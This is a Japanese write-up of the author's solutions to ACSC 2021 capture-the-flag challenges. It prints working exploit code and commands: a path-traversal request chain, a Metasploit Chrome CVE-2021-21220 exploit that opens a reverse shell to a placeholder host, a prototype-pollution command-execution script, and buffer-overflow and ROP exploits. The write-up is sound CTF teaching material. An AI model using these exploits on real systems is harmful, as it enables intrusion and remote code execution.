ACSC 2021 Writeup
Asian Cyber Security Challengeに参加して15位/483人 (本選参加資格を持つ人では13位)でした。解けた問題について解説していきます。
Web
API [220 pt, 107 solves]
PHPのアカウント機能があるサービスで、フラグは/flag
にあります。全部ソースコードを載せると長くなるので省きますが、Admin権限からのリクエストを処理しているクラスにディレクトリトラバーサルの脆弱性があるのでそこに到達できれば良さそうですね。
// Admin.class.php ... public function export_db($file){ if ($this->is_pass_correct()) { $path = dirname(__FILE__).DIRECTORY_SEPARATOR; $path .= "db".DIRECTORY_SEPARATOR; $path .= $file; $data = file_get_contents($path); $data = explode(',', $data); $arr = []; for($i = 0; $i < count($data); $i++){ $arr[] = explode('|', $data[$i]); } return $arr; }else return "The passcode does not equal with your input."; } ...
次のコードでAdmin権限が無いリクエストを弾いているように見えます。
// functions.php $admin = new Admin(); if (!$admin->is_admin()) $admin->redirect('/api.php?#access denied');
しかし、この$admin->redirect
はリダイレクトするHTMLを書くだけで処理を中断するようなことはしていません。(これひどい)
// Admin.class.php public function redirect($url, $msg=''){ $con = "<script type='text/javascript'>".PHP_EOL; if ($msg) $con .= "\talert('%s');".PHP_EOL; $con .= "\tlocation.href = '%s';".PHP_EOL; $con .= "</script>".PHP_EOL; header("location: ".$url); if ($msg) printf($con, $msg, $url); else printf($con, $url); }
そのためAdminでなくても最初からAdminのAPIを使うことができます。Bypassを必死に考えていた時間を返してくれ......
脆弱性があるexport_db
ではis_pass_correct()
でパスワードが合っていないと弾かれるようになっています。しかし、パスワードを取得するAPIが用意されている(????)ためパスワードは特に工夫なく取得することができます。
纏めると、以下のような手順でフラグを取得することができます。
❯ curl --insecure 'https://api.chal.acsc.asia/api.php?id=A777&pw=A12345678&c=u' Register Success! ❯ curl --insecure 'https://api.chal.acsc.asia/api.php?id=A777&pw=A12345678&c=i&c2=gp' <script type='text/javascript'> location.href = '/api.php?#access denied'; </script> ":<vNk" ❯ curl --insecure 'https://api.chal.acsc.asia/api.php?id=A777&pw=A12345678&c=i&c2=gd&pas=:<vNk&db=../../../../../../.. /flag' <script type='text/javascript'> location.href = '/api.php?#access denied'; </script> [["ACSC{it_is_hard_to_name_a_flag..isn't_it?}\n"]]
ACSC{it_is_hard_to_name_a_flag..isn't_it?}
favorite-emojis [330 pt, 46 solves]
version: '3.9' services: web: image: nginx volumes: - ./nginx.conf:/etc/nginx/conf.d/default.conf - ./public/index.html:/usr/share/nginx/html/index.html networks: - overlay ports: - 5000:80 api: build: ./api networks: - overlay depends_on: - web depends_on: - renderer environment: - flag=ACSC{this_is_fake} renderer: image: tvanro/prerender-alpine networks: - overlay networks: overlay:
このような三つのサーバーが動いています。APIを見てみます。
import os from flask import Flask, jsonify FLAG = os.getenv("flag") if os.getenv("flag") else "ACSC{THIS_IS_FAKE}" app = Flask(__name__) emojis = [] @app.route("/", methods=["GET"]) def root(): return FLAG @app.route("/v1/get_emojis") def get_emojis(): output = {"data": emojis} return jsonify(output) ...
/
にアクセスできればフラグが貰えますが、nginxの設定のせいで直接触ることはできません。
server { listen 80; root /usr/share/nginx/html/; index index.html; location / { try_files $uri @prerender; } location /api/ { proxy_pass http://api:8000/v1/; } location @prerender { proxy_set_header X-Prerender-Token YOUR_TOKEN; set $prerender 0; if ($http_user_agent ~* "googlebot|bingbot|yandex|baiduspider|twitterbot|facebookexternalhit|rogerbot|linkedinbot|embedly|quora link preview|showyoubot|outbrain|pinterest\/0\.|pinterestbot|slackbot|vkShare|W3C_Validator|whatsapp") { set $prerender 1; } if ($args ~ "_escaped_fragment_") { set $prerender 1; } if ($http_user_agent ~ "Prerender") { set $prerender 0; } if ($uri ~* "\.(js|css|xml|less|png|jpg|jpeg|gif|pdf|doc|txt|ico|rss|zip|mp3|rar|exe|wmv|doc|avi|ppt|mpg|mpeg|tif|wav|mov|psd|ai|xls|mp4|m4a|swf|dat|dmg|iso|flv|m4v|torrent|ttf|woff|svg|eot)") { set $prerender 0; } if ($prerender = 1) { rewrite .* /$scheme://$host$request_uri? break; proxy_pass http://renderer:3000; } if ($prerender = 0) { rewrite .* /index.html break; } } }
rendererではprerenderというHeadlessChromeを使ってクローラー向けに静的なコンテンツを提供するため(?)のサーバーが動いています。tvanro/prerender-alpineというイメージを使っているのですが、ソースコードを見てみると気になる記述がありました。
const server = prerender({ chromeFlags: ['--no-sandbox', '--headless', '--disable-gpu', '--remote-debugging-port=9222', '--hide-scrollbars', '--disable-dev-shm-usage'], forwardHeaders: true, chromeLocation: '/usr/bin/chromium-browser' });
--no-sandbox
で動いています。Browser Exploitがワンチャン刺さるかなと思ったのでコンテナ内に入ってバージョンを確認してみます。
$ chromium-browser --product-version 86.0.4240.111
当たりです。metasploitのexploit/multi/browser/chrome_cve_2021_21220_v8_insufficient_validationを使ってBrowser Exploitしましょう。
msf6 > set PAYLOAD linux/x64/shell_reverse_tcp PAYLOAD => linux/x64/shell_reverse_tcp msf6 > use exploit/multi/browser/chrome_cve_2021_21220_v8_insufficient_validation [*] Using configured payload linux/x64/shell_reverse_tcp msf6 exploit(multi/browser/chrome_cve_2021_21220_v8_insufficient_validation) > set LHOST X.X.X.X LHOST => X.X.X.X msf6 exploit(multi/browser/chrome_cve_2021_21220_v8_insufficient_validation) > set LPORT 9090 LPORT => 9090 msf6 exploit(multi/browser/chrome_cve_2021_21220_v8_insufficient_validation) > exploit [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. msf6 exploit(multi/browser/chrome_cve_2021_21220_v8_insufficient_validation) > [-] Handler failed to bind to X.X.X.X:9090:- - [*] Started reverse TCP handler on 0.0.0.0:9090 [*] Using URL: http://0.0.0.0:8080/2KP3QcX [*] Local IP: http://X.X.X.X:8080/2KP3QcX [*] Server started. [*] 127.0.0.1 chrome_cve_2021_21220_v8_insufficient_validation - Sending /2KP3QcX to Wget/1.20.3 (linux-gnu) Interrupt: use the 'exit' command to quit msf6 exploit(multi/browser/chrome_cve_2021_21220_v8_insufficient_validation) > exit [*] Server stopped.
生成されたhtmlを取得してサーバーにホストします。prerenderにアクセスさせるには$prerender=1
になっていればいいのですが、これはUAをgooglebotにすれば通ります。
curl 'http://favorite-emojis.chal.acsc.asia:5000/exploit.html' -H 'User-Agent:googlebot' -H 'Host:X.X.X.X'
実行するとリバースシェルが降ってきます。
$ nc -lvnp 9090 listening on [any] 9090 ... connect to [X.X.X.X] from (UNKNOWN) [X.X.X.X] 35558 ls node_modules package.json server.js wget http://api:8000/ Connecting to api:8000 (172.20.0.4:8000) saving to 'index.html' index.html 100% |********************************| 30 0:00:00 ETA 'index.html' saved cat index.html ACSC{sharks_are_always_hungry}rm index.html ls node_modules package.json server.js exit
ACSC{sharks_are_always_hungry}
Cowsay as a Service [370 pt, 33 solves]
import Koa from 'koa'; import Router from '@koa/router'; import auth from 'koa-basic-auth'; import bodyParser from 'koa-bodyparser'; import child_process from 'child_process'; ... // basic auth if (process.env.CS_USERNAME && process.env.CS_PASSWORD) { app.use(auth({ name: process.env.CS_USERNAME, pass: process.env.CS_PASSWORD })) } app.use(async (ctx, next) => { ctx.state.user = ctx.cookies.get('username'); await next(); }); router.get('/cowsay', (ctx, next) => { const setting = settings[ctx.state.user]; const color = setting?.color || '#000000'; let cowsay = ''; if (ctx.request.query.say) { const result = child_process.spawnSync('/usr/games/cowsay', [ctx.request.query.say], { timeout: 500 }); cowsay = result.stdout.toString(); } ctx.body = ` ... `; }); router.post('/setting/:name', (ctx, next) => { if (!settings[ctx.state.user]) { settings[ctx.state.user] = {}; } const setting = settings[ctx.state.user]; setting[ctx.params.name] = ctx.request.body.value; ctx.redirect('/cowsay'); }); app.use(bodyParser()); app.use(router.routes()); app.use(router.allowedMethods()); app.listen(3000);
リクエストすると使い捨ての環境のサーバーを生成してくれる形です。フラグは環境変数にあります。
setting[ctx.params.name] = ctx.request.body.value;
ここにPrototype pollutionがありますね。この脆弱性を使うと任意のオブジェクトの未定義の属性を上書きすることができます。
しかしソースコード内には悪用できそうな場所はありません。わざわざcowsayを使っていることだしchild_process
モジュール内にgadgetがあるのでしょう。
function spawnSync(file, args, options) { options = { maxBuffer: MAX_BUFFER, ...normalizeSpawnArguments(file, args, options) }; ... } function normalizeSpawnArguments(file, args, options) { ... if (options.shell) { const command = ArrayPrototypeJoin([file, ...args], ' '); // Set the shell, switches, and commands. if (process.platform === 'win32') { if (typeof options.shell === 'string') file = options.shell; else file = process.env.comspec || 'cmd.exe'; // '/d /s /c' is used only for cmd.exe. if (RegExpPrototypeTest(/^(?:.*\\)?cmd(?:\.exe)?$/i, file)) { args = ['/d', '/s', '/c', `"${command}"`]; windowsVerbatimArguments = true; } else { args = ['-c', command]; } } else { if (typeof options.shell === 'string') file = options.shell; else if (process.platform === 'android') file = '/system/bin/sh'; else file = '/bin/sh'; args = ['-c', command]; } } ...
spawnSyncから呼ばれているnormalizeSpawnArgumentsに気になるコードがありました。options.shell
を上書きすれば任意のコマンドを実行できますね。以下のようにすればフラグが取得できます。
import requests as req ses = req.Session() host = "http://XXXX:XXXX@cowsay-nodes.chal.acsc.asia:XXXX" def pollute(attr, val): ses.post(f"{host}/setting/{attr}", data={"value": val}, headers = {"Cookie": "username=__proto__"}) pollute("shell", "/bin/sh") print(ses.get(f"{host}/cowsay?say=; env").text)
ACSC{(oo)<Moooooooo_B09DRWWCSX!}
pwn
filtered [100 pt, 168 solves]
#include <stdlib.h> #include <string.h> #include <unistd.h> /* Call this function! */ void win(void) { char *args[] = {"/bin/sh", NULL}; execve(args[0], args, NULL); exit(0); } /* Print `msg` */ void print(const char *msg) { write(1, msg, strlen(msg)); } /* Print `msg` and read `size` bytes into `buf` */ void readline(const char *msg, char *buf, size_t size) { char c; print(msg); for (size_t i = 0; i < size; i++) { if (read(0, &c, 1) <= 0) { print("I/O Error\n"); exit(1); } else if (c == '\n') { buf[i] = '\0'; break; } else { buf[i] = c; } } } /* Print `msg` and read an integer value */ int readint(const char *msg) { char buf[0x10]; readline(msg, buf, 0x10); return atoi(buf); } /* Entry point! */ int main() { int length; char buf[0x100]; /* Read and check length */ length = readint("Size: "); if (length > 0x100) { print("Buffer overflow detected!\n"); exit(1); } /* Read data */ readline("Data: ", buf, length); print("Bye!\n"); return 0; }
lengthで長さをチェックしているように見えますがreadline関数のsize_t
はunsignedなので、-1を入れればBuffer Over Flowが可能です。No PIEなのでそのままwinに飛ばしましょう。
from pwn import * import sys import re context.terminal = "wterminal" context.arch = "amd64" def get_io(): if len(sys.argv) > 1 and sys.argv[1] == "debug": io = gdb.debug(file, command) elif len(sys.argv) > 1 and sys.argv[1] == "remote": _, domain, port = nc.split() io = remote(domain, int(port)) else: io = process(file) return io file = "./filtered" nc = "nc filtered.chal.acsc.asia 9001" chall = ELF(file) io = get_io() payload = b"" payload += b"A" * 0x118 payload += p64(chall.sym["win"]) print(payload) io.sendlineafter("Size: ", "-1") io.sendlineafter("Data: ", payload) io.interactive()
ACSC{GCC_d1dn'7_sh0w_w4rn1ng_f0r_1mpl1c17_7yp3_c0nv3rs10n}
CArot [320 pt, 18 solves]
/* clang carot.c -Wl,-z,relro,-z,now -o carot -fno-stack-protector */ #include <stdio.h> #include <stdlib.h> #include <string.h> void http_send_reply_it_works() { printf("HTTP/1.0 200 OK\r\n"); printf("Content-Type: text/html\r\n\r\n"); printf("<html><head></head><body>It works!</body></html>\n"); } void http_send_reply_bad_request() { printf("HTTP/1.0 400 Bad Request\r\n"); printf("Content-Type: text/html\r\n\r\n"); printf("<html><head></head><body>400 Bad Request</body></html>\n"); } void http_send_reply_not_found() { printf("HTTP/1.0 404 Not Found\r\n"); printf("Content-Type: text/html\r\n"); printf("Connection: close\r\n\r\n"); printf("<html>\n"); printf("<head><title>404 Not Found</title></head>\n"); printf("<body bgcolor=\"white\">\n"); printf("<center><h1>404 Not Found</h1></center>\n"); printf("</body>\n"); printf("</html>\n"); } char *lookup_content_type(char *ext) { if (strcasecmp(ext, "html") == 0) return "text/html"; if (strcasecmp(ext, "txt") == 0) return "text/plain"; if (strcasecmp(ext, "text") == 0) return "text/plain"; if (strcasecmp(ext, "gif") == 0) return "image/gif"; if (strcasecmp(ext, "jpeg") == 0) return "image/jpeg"; if (strcasecmp(ext, "jpg") == 0) return "image/jpeg"; if (strcasecmp(ext, "png") == 0) return "image/png"; return NULL; } char gif[14] = { 0x47, 0x49, 0x46, 0x38, 0x39, 0x61, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x3b }; void try_http_send_reply_with_file(char *fname) { char *dotp; char *content_type; if (*fname != '/') { http_send_reply_bad_request(); return; } dotp = strrchr(fname, '.'); if (dotp == NULL) { // No file extension http_send_reply_not_found(); return; } content_type = lookup_content_type(dotp+1); if (content_type == NULL) { http_send_reply_not_found(); return; } if (strcmp(fname, "/index.html") == 0) { http_send_reply_it_works(); return; } else if (strcmp(fname, "/small.gif") == 0) { printf("HTTP/1.0 200 OK\r\n"); printf("Content-Type: %s\r\n", content_type); printf("Content-Length: %ld\r\n\r\n", sizeof(gif)); fwrite(gif, sizeof(char), sizeof(gif), stdout); } else { http_send_reply_not_found(); return; } } const int KEEP_ALIVE = 0; const int CLOSE = 1; int connect_mode; #define BUFFERSIZE 512 char* http_receive_request() { long long int read_limit = 4096; connect_mode = -1; char buffer[BUFFERSIZE] = {}; scanf("%[^\n]", buffer); getchar(); if (memcmp(buffer, "GET ", 4) != 0) return NULL; int n = strlen(buffer); read_limit -= n; if (n < 9) return NULL; char* tail = buffer + n-9; if (memcmp(tail, " HTTP/1.0", 9) != 0 && memcmp(tail, " HTTP/1.1", 9) != 0) return NULL; *tail = '\0'; char* ret = strdup(buffer+4); *tail = ' '; while (1) { buffer[0] = '\0'; scanf("%[^\n]", buffer); getchar(); int n = strlen(buffer); if (n == 0) break; read_limit -= n; if (read_limit < 0) { free(ret); return NULL; } if (n < 12) continue; if (memcmp(buffer, "Connection: ", 12) != 0) continue; if (connect_mode != -1) { free(ret); return NULL; } if (strcmp(buffer+12, "keep-alive") == 0) { connect_mode = KEEP_ALIVE; } else if (strcmp(buffer+12, "close") == 0) { connect_mode = CLOSE; } else { free(ret); return NULL; } } return ret; } int main() { setbuf(stdout, NULL); while (1) { char* fname = http_receive_request(); if (fname == NULL) { http_send_reply_bad_request(); } else { try_http_send_reply_with_file(fname); free(fname); } if (connect_mode != KEEP_ALIVE) break; } }
Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
scanf("%[^\n]", buffer);
でBOFがありますが、この問題はプロキシが挟まれており4096bytes以内で送信は一回限りとなっています。つまりlibc leakしてからlibc内のアドレスを計算して再度書き込むということはできず、ROP内で全て完結しなければなりません。
方針は次のようにしました。
- GOTからlibcのアドレスをメモリ内に読み込む
- 加算/減算命令があるgadgetを見つけてsystemのアドレスを計算する
- system("/bin/cat flag.txt")
1をするために必要なgadgetを探すと、この二つで実現できました。
0x0000000000400b7d : mov rax, qword ptr [rbp - 8] ; add rsp, 0x10 ; pop rbp ; ret 0x0000000000400cae : mov qword ptr [rbp - 0x30], rax ; jmp 0x400cc1 # │ ┌─< 0x00400cc1 e900000000 jmp 0x400cc6 # │ │ ; XREFS: CODE 0x00400bb1 CODE 0x00400bd8 CODE 0x00400c01 CODE 0x00400c24 CODE 0x00400cbc # │ │ ; XREFS: CODE 0x00400cc1 # │ └─> 0x00400cc6 4883c430 add rsp, 0x30 # │ 0x00400cca 5d pop rbp # └ 0x00400ccb c3 ret # 0x00400ccc 0f1f4000 nop dword [rax]
rbpは操作可能なので最初のgadgetでraxにGOTを読み込ませ、二番目のgadgetでメモリに読み込む形です。
2の加算/減算命令ですが、バイナリ中に良いgadgetが見つかりませんでした。FSBでGOTからleakした関数の下2byteを書き込んでlibcからgadgetを引っ張ることを思いついたので、gadgetを次のプログラムで探してみます。
import re addresses = { "free": 0x7ffff7e61850 - 0x7ffff7dc4000, "__strcasecmp_avx": 0x7ffff7f4c030 - 0x7ffff7dc4000, "__strlen_avx2": 0x7ffff7f4f660 - 0x7ffff7dc4000, "setbuf": 0x7ffff7e52c50 - 0x7ffff7dc4000, "printf": 0x7ffff7e28e10 - 0x7ffff7dc4000, "__strrchr_avx2": 0x7ffff7f4f490 - 0x7ffff7dc4000, "__memset_avx2_unaligned_erms": 0x7ffff7f52af0 - 0x7ffff7dc4000, "__memcmp_avx2_movbe": 0x7ffff7f4bc50 - 0x7ffff7dc4000, "__strcmp_avx2": 0x7ffff7f4ab60 - 0x7ffff7dc4000, "getchar": 0x7ffff7e526e0 - 0x7ffff7dc4000, "__isoc99_scanf": 0x7ffff7e2a230 - 0x7ffff7dc4000, "fwrite": 0x7ffff7e4a480 - 0x7ffff7dc4000, "strdup": 0x7ffff7e664f0 - 0x7ffff7dc4000 } with open("libc_gadgets", "r") as f: gadgets = f.read().split("\n") for gadget in gadgets: group = re.match("^0x([0-f]+) : (.*)$", gadget) if group is None: continue addr = int(group.groups()[0], 16) asm = group.groups()[1] for func in addresses: if (addresses[func] & 0xFFFFFFFFffff0000) == (addr & 0xFFFFFFFFffff0000): print(func, hex(addr), hex(addresses[func] - addr), ":", asm)
出力から探すと、次のようなgadgetが見つかりました。
__strcmp_avx2 0x186855 0x30b : add rax, rcx ; sub rax, rdi ; ret
ROPの時点でrcxは空なので問題なく、rax,rdiは操作可能です。これを使ってsystemのアドレスを計算させます。
from pwn import * import sys import re context.terminal = "wterminal" context.arch = "amd64" def get_io(): if len(sys.argv) > 1 and sys.argv[1] == "debug": io = gdb.debug(file, command) elif len(sys.argv) > 1 and sys.argv[1] == "remote": _, domain, port = nc.split() io = remote(domain, int(port)) else: io = process(file) return io file = "./carot" # libc = "/lib/x86_64-linux-gnu/libc.so.6" libc = "./libc-2.31.so" nc = "nc 167.99.78.201 11451" command = "" # command += "b *0x00400fe3\n" command += "b *0x400821\n" command += "c\n" chall = ELF(file) io = get_io() pop_rdi = 0x00000000004010d3 pop_rsi_r15 = 0x00000000004010d1 pop_rbp = 0x0000000000400828 ret = 0x00000000004006d6 jmp_rax = 0x0000000000400821 scanf_fmt = 0x004012f0 # %[^\n] # 0x0000000000400b7d : mov rax, qword ptr [rbp - 8] ; add rsp, 0x10 ; pop rbp ; ret load_gadget = 0x0000000000400b7d # 0x0000000000400cae : mov qword ptr [rbp - 0x30], rax ; jmp 0x400cc1 # │ ┌─< 0x00400cc1 e900000000 jmp 0x400cc6 # │ │ ; XREFS: CODE 0x00400bb1 CODE 0x00400bd8 CODE 0x00400c01 CODE 0x00400c24 CODE 0x00400cbc # │ │ ; XREFS: CODE 0x00400cc1 # │ └─> 0x00400cc6 4883c430 add rsp, 0x30 # │ 0x00400cca 5d pop rbp # └ 0x00400ccb c3 ret # 0x00400ccc 0f1f4000 nop dword [rax] write_gadget = 0x0000000000400cae # free 0x9cc15 : cmp eax, 0x14ef66 ; syscall # __strcmp_avx2 0x186855 0x30b : add rax, rcx ; sub rax, rdi ; ret bss_buf = 0x602000 write_addr = bss_buf fsb_format_addr = bss_buf + 0x100 command_addr = fsb_format_addr + 0x855+4 payload = b"GET /index.html HTTP/1.0\n" payload += b"A" * 0x210 payload += p64(chall.got["strcmp"] + 8) # rbp payload += p64(load_gadget) payload += b"B" * 0x10 payload += p64(write_addr + 0x30) # rbp payload += p64(write_gadget) payload += b"C" * 0x30 payload += p64(write_addr + 8) # rbp (next load gadget) payload += p64(pop_rdi) payload += p64(scanf_fmt) payload += p64(pop_rsi_r15) payload += p64(fsb_format_addr) # format payload += p64(0) payload += p64(chall.plt["__isoc99_scanf"]) payload += p64(pop_rdi) payload += p64(fsb_format_addr) payload += p64(pop_rsi_r15) payload += p64(bss_buf) # 下2byte payload += p64(0) payload += p64(chall.plt["printf"]) payload += p64(load_gadget) payload += b"D" * 0x10 payload += p64(0) payload += p64(pop_rdi) payload += p64(0x131445) payload += p64(jmp_rax) # rax = system payload += p64(pop_rdi) payload += p64(command_addr) payload += p64(jmp_rax) payload += b"\n" payload += b"Connection: invalid!\n" payload += f"{'A'*0x855}%hn\x00/bin/cat flag.txt\n\n\n".encode() print(payload, hex(len(payload))) io.sendline(payload) print(io.recvall())
GOTの下2byteを書き替える際にASLRにより1nibble=1/16のガチャが発生します。何回か実行するとフラグが貰えます。
ACSC{buriburi_1d3dfb9bf7654412}
rev
sugar [170 pt, 26 solves]
ディスクイメージと実行スクリプトが配布されます。スクリプトを実行するとQEMUでフラグチェッカが動きました。
とりあえずディスクイメージからファイルをtestdiskで取り出します。
❯ file EFI/BOOT/BOOTX64.EFI EFI/BOOT/BOOTX64.EFI: MS-DOS executable PE32+ executable (EFI application) x86-64, for MS Windows
EFIアプリケーションです。GhidraとefiSeekを使って見ていきます。(seccampでやったところだ)
undefined8 main(EFI_HANDLE ImageHandle5,EFI_SYSTEM_TABLE *SystemTable144,undefined *param_3,undefined8 param_4) { longlong lVar1; ulonglong uVar2; undefined *puVar3; undefined8 uVar4; undefined local_468 [16]; byte local_458 [16]; longlong local_448 [7]; undefined local_410 [456]; void *local_248; EFI_HANDLE local_240; EFI_DEVICE_PATH_PROTOCOL *local_238; EFI_INPUT_KEY local_22c; undefined8 buf; undefined auStack542 [64]; ushort auStack478 [223]; uint *local_20; ulonglong local_18; uint i; (*gST_143->ConOut->ClearScreen)((EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *)gST_143->ConOut); printf((byte *)u_Input_flag:_80006640); read(&buf,0x200); for (i = 0; i < 0xff; i = i + 1) { (*gBS_142->WaitForEvent)(1,&gST_143->ConIn->WaitForKey,(UINTN *)0x0); (*gST_143->ConIn->ReadKeyStroke)((EFI_SIMPLE_TEXT_INPUT_PROTOCOL *)gST_143->ConIn,&local_22c); if (local_22c.UnicodeChar == 0xd) break; *(CHAR16 *)((longlong)&buf + (longlong)(int)i * 2) = local_22c.UnicodeChar; (*gST_143->ConOut->OutputString) ((EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *)SystemTable144->ConOut, (CHAR16 *)((longlong)&buf + (longlong)(int)i * 2)); } printf((byte *)(u_Wrong!_8000665a + 6)); lVar1 = FUN_800010ff((longlong)&buf); if (lVar1 == 0x26) { lVar1 = FUN_80001122((ushort *)u_ACSC{_8000666a,(ushort *)&buf,5); if (lVar1 == 0) { lVar1 = FUN_80001122((ushort *)&DAT_80006676,auStack478,1); if (lVar1 == 0) { local_238 = (EFI_DEVICE_PATH_PROTOCOL *) FUN_800020d4(u_PciRoot(0x0)/Pci(0x1,0x1)/Ata(0x_80006690); local_18 = (*gBS_142->LocateDevicePath)(&EFI_BLOCK_IO_PROTOCOL_GUID,&local_238,&local_240); if ((longlong)local_18 < 0) { printf((byte *)u_ERROR:_gBS->LocateDevicePath()_f_800066d8); } else { local_18 = (*gBS_142->HandleProtocol)(local_240,&EFI_BLOCK_IO_PROTOCOL_GUID,&local_248); if ((longlong)local_18 < 0) { printf((byte *)u_ERROR:_gBS->HandleProtocol()_fai_80006730); } else { local_18 = (**(code **)((longlong)local_248 + 0x18)) (local_248,**(undefined4 **)((longlong)local_248 + 8),1,0x200, local_448); if ((longlong)local_18 < 0) { printf((byte *)u_ERROR:_BlockIo->ReadBlocks()_fai_80006788); } else { if (local_448[0] == 0x5452415020494645) { uVar2 = FUN_800007d9(); local_20 = (uint *)FUN_80001f8d(uVar2); puVar3 = FUN_80000c24((longlong)local_20,(longlong)&DAT_80006620,0x80); if ((char)puVar3 == '\0') { printf((byte *)u_ERROR:_AesInit()_failed._80006828); } else { uVar4 = FUN_80004d87(local_20,(longlong)local_410,0x10,(ulonglong)&DAT_80006630, local_458); if ((char)uVar4 == '\0') { printf((byte *)u_ERROR:_AesCbcEncrypt()_failed._80006860); } else { FUN_80001060(); local_18 = FUN_800011dd((longlong)auStack542,0x20,(longlong)local_468,0x10); if ((longlong)local_18 < 0) { printf((byte *)u_ERROR:_StrHexToBytes()_failed:_%_800068a0); } else { lVar1 = strcmp((longlong)local_458,(longlong)local_468,0x10); if (lVar1 == 0) { printf((byte *)u_Correct!_8000667a); } else { printf((byte *)u_Wrong!_8000665a); } } } } } else { printf((byte *)u_ERROR:_Header_signature_mismatch_800067e0); } } } } } else { printf((byte *)u_Wrong!_8000665a); } } else { printf((byte *)u_Wrong!_8000665a); } } else { printf((byte *)u_Wrong!_8000665a); } (*gRS_141->ResetSystem)(EfiResetShutdown,0,0,(void *)0x0); return 0; }
解析しきれてないですが問題ないです。やってることは以下の通りです。
- 入力を受け取る
- バイナリ中のデータをAES-CBCで暗号化する
- 受け取った入力からフラグフォーマットを取り除いた部分をhex decodeする
- decodeした入力と暗号化したデータが合っているかどうか見る
つまりフラグは暗号化したデータをhex encodeしたものです。手元で暗号化しようとしてもうまくいかなかったのでgdbで取り出します。QEMUに-s
オプションを付けるとtarget remote:1234
でgdbでアタッチできます。
AesCbcEncrypt(local_20,(longlong)local_410,0x10,(ulonglong)&DAT_80006630,local_458);
ここに止まります。CALL AesCbcEncrypt
のバイトコードをメモリから検索します。
pwndbg> search -x -e e8ea47000084c07511488d0db8620000 <qemu> 0x6668598 call 0x666cd87 /* 0x75c084000047eae8 */ <qemu> 0x680bbb0 call 0x681039f /* 0x75c084000047eae8 */ warning: Unable to access 16000 bytes of target memory at 0x7fffb8f, halting search.
二つありますが調べれば上の方が実行されるアドレスだとわかります。
pwndbg> c ... pwndbg> n ... pwndbg> x/16bx $rbp-0x458+8 0x7ea4500: 0x91 0xe3 0xde 0x70 0x5d 0xee 0x88 0x1d 0x7ea4508: 0xcb 0xa8 0x4e 0x84 0x0f 0xeb 0x0e 0x24
何故か知らないけどアドレスに+8するとうまくいきます。この16byteが答えです。
ACSC{91e3de705dee881dcba84e840feb0e24}
crypto
RSA stream [100 pt, 121 solves]
import gmpy2 from Crypto.Util.number import long_to_bytes, bytes_to_long, getStrongPrime, inverse from Crypto.Util.Padding import pad from flag import m #m = b"ACSC{<REDACTED>}" # flag! f = open("chal.py","rb").read() # I'll encrypt myself! print("len:",len(f)) p = getStrongPrime(1024) q = getStrongPrime(1024) n = p * q e = 0x10001 print("n =",n) print("e =",e) print("# flag length:",len(m)) m = pad(m, 255) m = bytes_to_long(m) assert m < n stream = pow(m,e,n) cipher = b"" for a in range(0,len(f),256): q = f[a:a+256] if len(q) < 256:q = pad(q, 256) q = bytes_to_long(q) c = stream ^ q cipher += long_to_bytes(c,256) e = gmpy2.next_prime(e) stream = pow(m,e,n) open("chal.enc","wb").write(cipher)
平文(ファイル自身)を256byteに区切り、フラグをRSAで暗号化した結果とXORしています。このとき、eの値は各ブロックで変化しています。
平文はわかっているのでXORすれば各ブロックのフラグの暗号化結果を取り出せます。eの値が違う二つの暗号文が手に入るので、Common Modulus Attackが可能です。
import gmpy2 from Crypto.Util.number import * from math import gcd # len: 723 n = 30004084769852356813752671105440339608383648259855991408799224369989221653141334011858388637782175392790629156827256797420595802457583565986882788667881921499468599322171673433298609987641468458633972069634856384101309327514278697390639738321868622386439249269795058985584353709739777081110979765232599757976759602245965314332404529910828253037394397471102918877473504943490285635862702543408002577628022054766664695619542702081689509713681170425764579507127909155563775027797744930354455708003402706090094588522963730499563711811899945647475596034599946875728770617584380135377604299815872040514361551864698426189453 e = 65537 # flag length: 97 with open("./chal.enc.original", "rb") as f: enc = f.read() with open("./chal.py", "rb") as f: m = f.read() block = [] for i in range(0, len(enc), 256): block.append((enc[i:i+256], m[i:i+256], e)) print(f"c{i}: {block[-1][0]}") print(f"m{i}: {block[-1][1]}") print(f"e{i}: {block[-1][2]}") e = int(gmpy2.next_prime(e)) # https://github.com/lapets/egcd/blob/master/egcd/egcd.py def egcd(b, n): (x0, x1, y0, y1) = (1, 0, 0, 1) while n != 0: (q, b, n) = (b // n, n, b % n) (x0, x1) = (x1, x0 - q * x1) (y0, y1) = (y1, y0 - q * y1) return (b, x0, y0) # https://github.com/Ganapati/RsaCtfTool/blob/db89fadd08ce556a6354cf6b46c3ca9eb601b1a5/attacks/multi_keys/common_modulus.py # Calculates a^{b} mod n when b is negative def neg_pow(a, b, n): assert b < 0 assert gcd(a, n) == 1 res = int(gmpy2.invert(a, n)) res = pow(res, b * (-1), n) return res # e1 --> Public Key exponent used to encrypt message m and get ciphertext c1 # e2 --> Public Key exponent used to encrypt message m and get ciphertext c2 # n --> Modulus # The following attack works only when m^{GCD(e1, e2)} < n def common_modulus(e1, e2, n, c1, c2): g, a, b = egcd(e1, e2) if a < 0: c1 = neg_pow(c1, a, n) else: c1 = pow(c1, a, n) if b < 0: c2 = neg_pow(c2, b, n) else: c2 = pow(c2, b, n) ct = c1 * c2 % n m = int(gmpy2.iroot(ct, g)[0]) return m c1 = bytes_to_long(block[0][0]) ^ bytes_to_long(block[0][1]) e1 = block[0][2] c2 = bytes_to_long(block[1][0]) ^ bytes_to_long(block[1][1]) e2 = block[1][2] print(long_to_bytes(common_modulus(e1, e2, n, c1, c2)))
